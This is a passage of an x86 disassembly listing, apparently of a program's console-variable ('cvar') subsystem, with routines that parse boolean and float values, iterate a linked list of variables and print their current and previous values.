push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_40B2E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B460 proc near ; CODE XREF: sub_40181Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FDC
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FDC
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F50
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FDC
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401915
sub_40B460 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B500 proc near ; CODE XREF: sub_401B72j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B500
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401870
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401870
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401870
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40181B
sub_40B500 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B5F0 proc near ; CODE XREF: sub_4019DDj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401546
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40145B
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B671
mov edi, [esp+10h+arg_0]
loc_40B636: ; CODE XREF: sub_40B5F0+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4021D0
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B67B
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B636
loc_40B671: ; CODE XREF: sub_40B5F0+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B67B: ; CODE XREF: sub_40B5F0+60j
call sub_401F78
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B5F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B6C0: ; CODE XREF: ___:00401460j
push 0FFFFFFFFh
push offset loc_439EF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401870
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019DD
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B750 proc near ; CODE XREF: sub_4015A0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B7A1
mov byte ptr [esi+19h], 1
loc_40B7A1: ; CODE XREF: sub_40B750+4Bj
pop esi
retn 8
sub_40B750 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B7D0 proc near ; CODE XREF: sub_401F50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B825
mov byte ptr [esi+19h], 1
loc_40B825: ; CODE XREF: sub_40B7D0+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B7D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B860: ; CODE XREF: ___:00401D57j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43F024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B8B1
mov byte ptr [esi+19h], 1
loc_40B8B1: ; CODE XREF: ___:0040B8ABj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8E0: ; CODE XREF: ___:00401CA8j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B910
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015E1
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B910: ; CODE XREF: ___:0040B8E8j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015E1
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B950: ; CODE XREF: ___:00401D7Fj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4447F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B980
mov byte ptr [esi+19h], 1
loc_40B980: ; CODE XREF: ___:0040B97Aj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B9A0: ; CODE XREF: ___:loc_401AE1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439F30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BAE2
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+6Ch]
call sub_401546
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BADB
loc_40BA46: ; CODE XREF: ___:0040BAD5j
lea ecx, [esp+6Ch]
inc edi
call sub_401F78
mov ecx, [eax]
add ecx, 33h
call sub_4017EE
push eax
lea ecx, [esp+70h]
call sub_401F78
mov ecx, [eax]
call sub_4017EE
push eax
lea ecx, [esp+74h]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4017EE
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 24h
push 5DCh
nop
call near ptr 2831C1Ah
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40BA46
loc_40BADB: ; CODE XREF: ___:0040BA40j
mov al, 1
jmp loc_40BC6A
; ---------------------------------------------------------------------------
loc_40BAE2: ; CODE XREF: ___:0040B9D7j
lea ecx, [ebp+32h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BB75
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC68
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
jmp loc_40BC6A
; ---------------------------------------------------------------------------
loc_40BB75: ; CODE XREF: ___:0040BAF4j
lea ecx, [ebp+60h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BC68
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC68
push edi
lea ecx, [esp+18h]
call sub_4014D3
mov ebx, 2
push 1
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F50
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BC6A
; ---------------------------------------------------------------------------
loc_40BC68: ; CODE XREF: ___:0040BB30j
; ___:0040BB87j ...
xor al, al
loc_40BC6A: ; CODE XREF: ___:0040BADDj
; ___:0040BB70j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD40 proc near ; CODE XREF: sub_401C08j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021EE
sub_40BD40 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD80 proc near ; CODE XREF: sub_40155Fj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FEB
sub_40BD80 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDF0 proc near ; CODE XREF: sub_40145Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4014B0
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_40BDF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE30 proc near ; CODE XREF: sub_401C85j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_40BE30 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BE60 proc near ; CODE XREF: sub_401915j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C85
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C5D
sub_40BE60 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEA0 proc near ; CODE XREF: sub_401C03j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BEA0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEF0 proc near ; CODE XREF: sub_401546j
push esi
mov esi, ecx
call sub_402158
mov eax, esi
pop esi
retn
sub_40BEF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF10 proc near ; CODE XREF: sub_401F78j
mov eax, [ecx]
push eax
call sub_401848
add esp, 4
retn
sub_40BF10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF30 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BF30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF60 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CFD
neg al
sbb eax, eax
inc eax
retn 4
sub_40BF60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BF90 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016AE
mov edi, eax
push edi
call sub_40215D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021EE
sub_40BF90 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40215D
push edi
mov [eax], ebx
call sub_40215D
mov edi, [eax]
push edi
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401848
add esp, 4
mov ecx, esi
push eax
call sub_401F32
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C030 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40C08A
loc_40C048: ; CODE XREF: sub_40C030+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B9A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40C048
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40C08A: ; CODE XREF: sub_40C030+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40C030 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C0C0 proc near ; CODE XREF: sub_4021EEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401569
sub_40C0C0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C0D5
mov edi, esi
loc_40C0D5: ; CODE XREF: ___:0040C0D1j
push esi
call sub_402117
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C0EA
mov edi, esi
loc_40C0EA: ; CODE XREF: ___:0040C0E6j
push esi
call sub_40215D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C110 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402077
sub_40C110 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C130 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C150 proc near ; CODE XREF: sub_401848j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C150 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C170 proc near ; CODE XREF: sub_402158j
mov eax, ecx
retn
sub_40C170 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C190 proc near ; CODE XREF: sub_4014B0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1C0 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C1C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C1F0 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B9A
mov ecx, eax
call sub_4016AE
mov esi, eax
push esi
call sub_402117
push esi
mov ebx, eax
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40215D
push esi
mov ebx, eax
call sub_402117
mov eax, [eax]
push eax
call sub_40215D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401848
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FEB
sub_40C1F0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2B0 proc near ; CODE XREF: sub_40215Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C2B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C2D0 proc near ; CODE XREF: sub_401569j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_40C2D0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C300 proc near ; CODE XREF: sub_402077j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40C300 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C320 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C320 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C350 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C350 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C370 proc near ; CODE XREF: sub_4016AEj
mov eax, [ecx]
retn
sub_40C370 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C390 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C390 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3C0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C3C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3E0 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C3FB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C3FB: ; CODE XREF: sub_40C3E0+11j
retn
sub_40C3E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C430 proc near ; CODE XREF: sub_401BF9j
var_24 = byte ptr -24h
var_4 = dword ptr -4
